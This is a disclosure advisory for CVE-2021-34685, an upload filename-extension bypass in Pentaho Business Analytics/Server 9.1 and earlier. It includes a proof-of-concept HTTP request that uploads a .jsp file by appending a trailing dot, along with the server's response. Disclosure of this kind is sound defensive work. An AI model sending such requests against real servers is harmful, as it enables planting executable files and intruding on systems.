Pentaho Business Analytics / Pentaho Business Server 9.1 Filename Bypass

`Product: Pentaho Business Analytics / Pentaho Business Server  
Vendor / Manufacturer: Hitachi Vantara  
Affected Version(s): <= 9.1  
Vulnerability Type: Bypass of Filename Extension Restrictions  
Solution Status: Fix Released on public GitHub repository  
Manufacturer Notification: June 2021  
Public Disclosure: 01 November 2021  
CVE Reference: CVE-2021-34685  
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka  
  
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Product Description:  
  
Pentaho is business intelligence (BI) software that provides data  
integration, OLAP services, reporting, information dashboards, data mining  
and extract, transform, load (ETL) capabilities. Its headquarters are in  
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and  
in 2017 became part of Hitachi Vantara.  
  
( Source: https://en.wikipedia.org/wiki/Pentaho )  
  
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Vulnerability Details:  
  
Pentaho allows users to upload various files of different file types. The  
upload service is implemented under the "/pentaho/UploadService" endpoint.  
The file types allowed by the application are “csv, dat, txt, tar, zip,  
tgz, gz, gzip”. When uploading a file with an extension other than the  
allowed file types, the application responds with the error message of  
"UploadFileServlet.ERROR_0011 - File type not allowed. Allowable types are  
csv,dat,txt,tar,zip,tgz,gz,gzip". However, the file extension check can be  
bypassed by including a single dot "." at the end of the filename.  
  
  
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Proof of Concept (PoC):  
  
See Ginger ( https://github.com/HawSec/ginger )  
  
or  
  
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POST  
/pentaho/UploadService?file_name=test_file.jsp.&mark_temporary=false&unzip=false  
HTTP/1.1  
Host: localhost:8080  
Content-Length: 194  
Cookie: session-flushed=true; JSESSIONID=A0D2E6A3857C5B7EEF763821513174E9;  
client-time-offset=32; JSESSIONID=2D525AE6A712A91E6CA1CBE50177559C;  
session-expiry=1617569433767; server-time=1617562233767  
Connection: close  
------WebKitFormBoundary1k7sJ9yjEbfj39Fl  
Content-Disposition: form-data; name="uploadFormElement";  
filename="test_file.txt"  
Content-Type: text/plain  
[...]  
FILE_CONTENTS  
[...]  
------WebKitFormBoundary1k7sJ9yjEbfj39Fl--  
  
  
HTTP/1.1 200  
Set-Cookie: session-expiry=1617572215172; Path=/  
Set-Cookie: server-time=1617565015172; Path=/  
Content-Type: text/plain;charset=ISO-8859-1  
Content-Length: 6  
Date: Sun, 04 Apr 2021 19:36:55 GMT  
Connection: close  
test_file.jsp.  
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Credits:  
  
This vulnerability was discovered by Alberto Favero & Altion Malka  
  
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--   
BlackHawk - [email protected]  
  
Experientia senum, agilitas iuvenum.  
Adversa fortiter. Dubia prudenter.  
  
  
`